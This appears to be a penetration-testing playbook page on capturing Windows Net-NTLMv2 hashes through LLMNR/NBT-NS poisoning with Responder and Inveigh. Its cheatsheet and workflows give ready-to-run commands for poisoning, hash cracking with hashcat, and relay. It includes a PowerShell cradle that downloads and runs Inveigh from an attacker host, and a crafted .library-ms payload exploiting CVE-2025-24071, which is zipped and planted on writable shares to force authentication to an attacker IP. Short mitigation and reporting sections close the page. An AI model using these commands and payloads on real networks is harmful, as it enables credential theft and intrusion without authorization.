🛡️ Methodology Checklist

  • Start Responder: sudo responder -I [IFACE] -wdv
  • Wait for LLMNR/NBT-NS requests (triggered by mistyped shares, failed DNS)
  • Collect NTLMv2 hashes from Responder logs
  • Crack hashes: hashcat -m 5600 hashes.txt [wordlist]
  • Alternatively: relay with ntlmrelayx (requires SMB signing disabled targets)
  • Windows alternative: run Inveigh from compromised Windows host
  • Verify cracked credentials before escalation

🎯 Operational Context

Use when: On the internal network with no initial creds — poison LLMNR/NBT-NS to capture Net-NTLMv2 hashes from any host that broadcasts a name resolution request. Think Dumber First: python Responder.py -I [IFACE] -w -d — just run it and wait. Hashes come in passively as users access network resources. Peak times: morning login (8-9am) and after lunch (1-2pm) when people reconnect mapped drives. Skip when: LLMNR/NBT-NS is disabled via GPO — confirm first with nmap --script llmnr [SUBNET]; if no response, poisoning won’t work.

⚡ Tactical Cheatsheet

CommandTactical Outcome
sudo responder -I [IFACE] -AAnalyze mode — passive listen, no poisoning
sudo responder -I [IFACE] -w -r -fActive poisoning — capture NetNTLMv2 hashes
hashcat -m 5600 captured_hash.txt rockyou.txtCrack NetNTLMv2 hash (mode 5600)
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-[IP].txtView captured hashes from Responder logs
Import-Module .\Inveigh.ps1Load Inveigh (Windows equivalent of Responder)
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput YStart Inveigh poisoning (PowerShell)
.\Inveigh.exeStart InveighZero (C# version)
GET NTLMV2UNIQUEInveigh console: show unique captured hashes
GET NTLMV2USERNAMESInveigh console: show captured usernames + source IPs
drop crafted .library-ms ZIP on a writable shareCVE-2025-24071 — coerce Explorer to auth to \\[ATTACKER_IP]\share, leak NetNTLMv2

🔬 Deep Dive & Workflow

Tool Setup

Responder (Linux) — preinstalled on Kali (/usr/share/responder):

sudo responder -I [INTERFACE]

Inveigh (Windows) — the PowerShell version loads via cradle; InveighZero is a compiled exe. Fetch + host it on the attacker first:

git clone https://github.com/Kevin-Robertson/Inveigh.git   # PowerShell edition: Inveigh.ps1
python3 -m http.server 8000   # run from the dir holding Inveigh.ps1

Then on the target:

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/Inveigh.ps1')
Invoke-Inveigh -ConsoleOutput Y

Full setup for every AD tool: AD_Tools_Reference.

How LLMNR/NBT-NS Poisoning Works

Windows falls back to broadcast protocols when DNS fails:

  • LLMNR — UDP 5355, link-local multicast
  • NBT-NS — UDP 137, NetBIOS

The attack:

  1. Victim mistypes a share name (\\printer01 instead of \\print01)
  2. DNS fails → victim broadcasts “Who knows \\printer01?” via LLMNR/NBT-NS
  3. Responder (attacker) replies “That’s me”
  4. Victim sends NetNTLMv2 hash to authenticate
  5. Attacker captures hash for offline cracking or relay

Critical: NetNTLMv2 hashes cannot be used for Pass-the-Hash directly — they must be cracked or relayed.

Responder (Linux) Workflow

# Phase 1: Analyze traffic first (safe, no disruption)
sudo responder -I eth0 -A
 
# Phase 2: Active poisoning
sudo responder -I eth0 -w -r -f
# -w: WPAD rogue proxy (effective when browsers auto-detect proxy settings)
# -r: Answer NetBIOS wredir suffix queries
# -f: Fingerprint remote host OS/version
 
# Phase 3: Crack
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt

Logs stored in /usr/share/responder/logs/ — format: MODULE-HASHTYPE-CLIENT_IP.txt

Port conflict check: Responder needs ports 80, 445, 53. Ensure nothing else is bound to them.

Inveigh (Windows)

Use when operating from a compromised Windows host or a client-provided Windows attack VM:

# PowerShell version
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
 
# C# version (more stable)
.\Inveigh.exe
 
# Interactive console commands (press ESC to enter/exit)
GET NTLMV2UNIQUE      # all unique hashes
GET NTLMV2USERNAMES   # usernames + source IPs
GET CLEARTEXTUNIQUE    # cleartext credentials (HTTP Basic Auth)

Requires local admin to bind privileged ports (445, 80, 137).

File-Based Forced Authentication via .library-ms (CVE-2025-24071)

Where you can’t wait for a victim to mistype a share, a dropped file on a writable share coerces the auth for you. This is a current, distinct primitive from the older share-coercion artifacts (.scf / malicious .lnk / slinky-style desktop.ini drops): instead of an icon/link pointing a UNC at the attacker, a .library-ms search-connector definition does the same thing, and Windows Explorer triggers it on indexing/handling of the extracted file — no double-click required.

Attacker side stays exactly the same — Responder listening for the inbound SMB auth (see Responder workflow above). Only the planted artifact changes; the victim is Windows.

The artifact. A .library-ms file is XML that defines a Windows library. Point its search-connector <url> at a UNC on the attacker:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\[ATTACKER_IP]\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Delivery. CVE-2025-24071 abuses the fact that Explorer parses the embedded path the moment the file is extracted from a ZIP and indexed — so the payload ships zipped:

# 1. Build the .library-ms (UNC → attacker), then zip it
zip exploit.zip evil.library-ms
 
# 2. Start the listener (same as the rest of this page)
sudo responder -I [INTERFACE]
 
# 3. Drop the ZIP on any WRITABLE share users browse
smbclient //[TARGET_IP]/[WRITABLE_SHARE] -U '[USER]%[PASS]' -c 'put exploit.zip'

When a user extracts the archive (or Explorer simply indexes the unpacked .library-ms), Explorer resolves the UNC and authenticates to the attacker, leaking that user’s NetNTLMv2 — captured by Responder for offline cracking (hashcat -m 5600) or relay (ntlmrelayx), identical to the LLMNR/NBT-NS hash flow above.

Same crack/relay constraints apply: NetNTLMv2 is not Pass-the-Hash material — crack it or relay it to an SMB-signing-disabled host.

Detection & Mitigation (for Reporting)

  • Disable LLMNR: Group Policy → Computer Configuration → Admin Templates → Network → DNS Client → Turn OFF Multicast Name Resolution
  • Disable NBT-NS: NIC → IPv4 Properties → Advanced → WINS → Disable NetBIOS over TCP/IP
  • Monitor: UDP 5355, UDP 137 traffic; Event IDs 4697, 7045

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Responder captures nothingLLMNR/NBT-NS disabled by GPOCheck: nmap -sU -p 5355 [SUBNET] for LLMNR; if no response, pivot to other initial access
Hashes captured but NTLMv1 onlyOlder Windows versionNTLMv1 hashes crack differently; use mode 5500 for NTLMv1 in hashcat
Responder conflicts with local servicesPort 80/443/53 already in useStop local services or use --lm --ntml --wpad to select only needed protocols
Hash captured but relay failsSMB signing enabled on targetCheck: nxc smb [TARGET] --gen-relay-list relay_targets.txt for unsigned hosts
Responder .db file not foundWrong pathHashes stored in /usr/share/responder/logs/; also printed to stdout in real time
.library-ms drop never firesFile not indexed yet, or share not browsedConfirm the share is writable and user-facing; CVE-2025-24071 triggers on Explorer extracting/indexing the file — ship it zipped so unpack-time parsing runs

📝 Reporting Trigger

Finding Title: LLMNR/NBT-NS Poisoning Captures Net-NTLMv2 Hashes Impact: LLMNR/NBT-NS poisoning passively captures authentication hashes from any network user who attempts to access a non-existent or mistyped network resource, providing Net-NTLMv2 hashes for offline cracking or direct relay without any active exploitation. Root Cause: LLMNR and NBT-NS enabled by default on Windows systems, allowing any network observer to respond to broadcast name resolution queries and capture the resulting authentication. Recommendation: Disable LLMNR via GPO (Computer Configuration > Admin Templates > Network > DNS Client > Turn off multicast name resolution). Disable NBT-NS (Network Adapter > TCP/IP > WINS > Disable NetBIOS). Enable SMB signing to prevent relay attacks.

🔗 Related Nodes